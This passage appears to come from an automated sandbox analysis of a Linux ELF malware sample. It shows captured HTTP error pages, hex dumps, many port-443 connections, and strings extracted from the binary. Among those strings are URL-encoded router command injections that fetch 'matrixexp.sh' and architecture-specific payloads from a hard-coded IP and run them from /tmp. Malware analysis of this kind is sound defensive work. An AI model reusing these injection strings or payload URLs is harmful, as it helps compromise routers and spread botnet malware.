3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head> <title>hue personal wireless lighting</title> <link rel="stylesheet" type="text/css" href="/index.css"></head><body> <div class="philips-header"> <img src="/philips-blue.png" class="philips-logo" alt="Philips" /> </div> <div class="header"> <img class="header-logo" src="/hue-logo.png" alt="hue personal wireless lighting" /> <img src="/hue-color-line.png" class="colorline" /> </div> <div class="error">Oops, there appears to be no lighting here</div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:15:00 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; SameSite=Lax; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; SameSite=Lax; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Thu, 21 Mar 2024 04:27:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 f9 05 a9 79 45 a9 c5 25 95 c8 f2 fa 30 13 f5 a1 ae 01 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f(HML),I310Q/Qp/K&T$dCAfAyyE%0tc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:27:13 GMTServer: Apache/2.4.38 (Debian)Content-Length: 274Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 31 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:13 GMTServer: Apache/2.4.38 (Debian)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:27:14 GMTServer: ApacheX-Frame-Options: DENYContent-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 31 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:14 GMTServer: ApacheX-Frame-Options: DENYContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:27:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:27:13 GMTServer: Apache/2.4.38 (Debian)Content-Length: 274Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 31 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:13 GMTServer: Apache/2.4.38 (Debian)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1

Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/arm7;chmod
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh;
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/mips
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/mips;
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/mpsl;chmod
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://109.205.214.35/x86
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: wbUtbKZmxZ.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48412
Source: unknown	Network traffic detected: HTTP traffic on port 58570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 44164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36432
Source: unknown	Network traffic detected: HTTP traffic on port 60896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34256
Source: unknown	Network traffic detected: HTTP traffic on port 40408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37756
Source: unknown	Network traffic detected: HTTP traffic on port 47396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55196
Source: unknown	Network traffic detected: HTTP traffic on port 48366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46224
Source: unknown	Network traffic detected: HTTP traffic on port 35446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37748
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50750
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33378
Source: unknown	Network traffic detected: HTTP traffic on port 41562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44022
Source: unknown	Network traffic detected: HTTP traffic on port 48412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43172
Source: unknown	Network traffic detected: HTTP traffic on port 47568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36880
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36884
Source: unknown	Network traffic detected: HTTP traffic on port 55522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58252
Source: unknown	Network traffic detected: HTTP traffic on port 35998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49300
Source: unknown	Network traffic detected: HTTP traffic on port 42294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56002
Source: unknown	Network traffic detected: HTTP traffic on port 33450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47112
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44080
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40956
Source: unknown	Network traffic detected: HTTP traffic on port 39578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48432
Source: unknown	Network traffic detected: HTTP traffic on port 40040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58200
Source: unknown	Network traffic detected: HTTP traffic on port 35414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60518
Source: unknown	Network traffic detected: HTTP traffic on port 43894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48426
Source: unknown	Network traffic detected: HTTP traffic on port 35618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47572
Source: unknown	Network traffic detected: HTTP traffic on port 44942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 33290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59544
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46236
Source: unknown	Network traffic detected: HTTP traffic on port 43398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48898
Source: unknown	Network traffic detected: HTTP traffic on port 53348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52514
Source: unknown	Network traffic detected: HTTP traffic on port 34026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48490
Source: unknown	Network traffic detected: HTTP traffic on port 51568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40524
